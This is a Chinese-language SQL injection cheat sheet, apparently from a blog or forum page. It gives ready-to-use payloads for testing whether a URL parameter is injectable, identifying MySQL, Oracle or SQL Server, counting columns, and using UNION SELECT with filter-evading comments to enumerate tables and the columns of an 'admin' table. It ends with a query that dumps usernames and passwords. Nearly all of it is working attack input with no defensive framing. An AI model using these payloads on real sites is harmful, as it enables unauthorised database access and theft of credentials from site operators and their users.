1判断网站是否是注入点
① :包含?*=变量名的 URL
Integer:
www.target.com/1.php?id=88 正常 www.target.com/1.php?id=88-0 同上 www.target.com/1.php?id=88-1 异常
String:
www.target.com/1.php?id=88 'And 'a'='a 正常 www.target.com/1.php?id=88 'And 'a'='b 异常 String
www.target.com/1.php?id=88 正常 www.target.com/1.php?id=88'%2b' 同上 www.target.com/1.php?id=88'%2b's 异常
2判断数据库是那种类型
数据库判断
MySQL
/*!%20s*/ 错误则是MySQL
/*!40000%20s*/ 错误则版本大于4.0 (大于4.0支持UNION注入)
/*!60000%20s*/ 正常则版本小于6.0
/*!50130%20s*/ 错误则版本是5.1.30
/*pc*/ //正常为MySQL
支持--pc,不支持; //Oracle
and exists(select @@version)-- //正常为SQL Server
判断字段数
显示数据库信息字段数查找
id=1/**/Order/**/By/**/5/**/-- 正常则字段数≥5
id=1/**/Order/**/By/**/6/**/-- 错误则字段数＜6
判断字段数据类型
id=1/**/union/**/all/**/select/**/NULL,NULL,NULL,NULL,NULL--
id=1/**/union/**/all/**/select/**/NULL,NULL,’test’,NULL,NULL--
正常说明第3字段为字符型可以显示SQL注入数据。
显示数据库版本
id=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,NULL,@@version,NULL,NULL--
当前库名
and/**/1=2/**/union/**/all/**/select/**/NULL,db_name(),NULL,NULL,NULL from sysobjects--
指定库表名
and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from库名..sysobjects where xtype='u' and name not in(select top 0 name from 库名..sysobjects where xtype='u')),NULL,NULL,NULL from sysobjects--
当前库查询表名
and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where xtype='u')),NULL,NULL,NULL from sysobjects--
and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from sysobjects where xtype='u' and name not in(select top 1 name from sysobjects where xtype='u')),NULL,NULL,NULL from sysobjects--
字段名
从0开始增加第二个top N的数字就可以遍历admin表的字段名了
id=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='admin'))),NULL,NULL,NULL from sysobjects--
id=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='admin'))),NULL,NULL,NULL from sysobjects--
id=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 3 name from syscolumns where id in (select id from sysobjects where name='admin'))),NULL,NULL,NULL from sysobjects--
id=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 4 name from syscolumns where id in (select id from sysobjects where name='admin'))),NULL,NULL,NULL from sysobjects--
字段值
id=1 and 1=2 union all select id,username,password,NULL,NULL from admin--
网友评论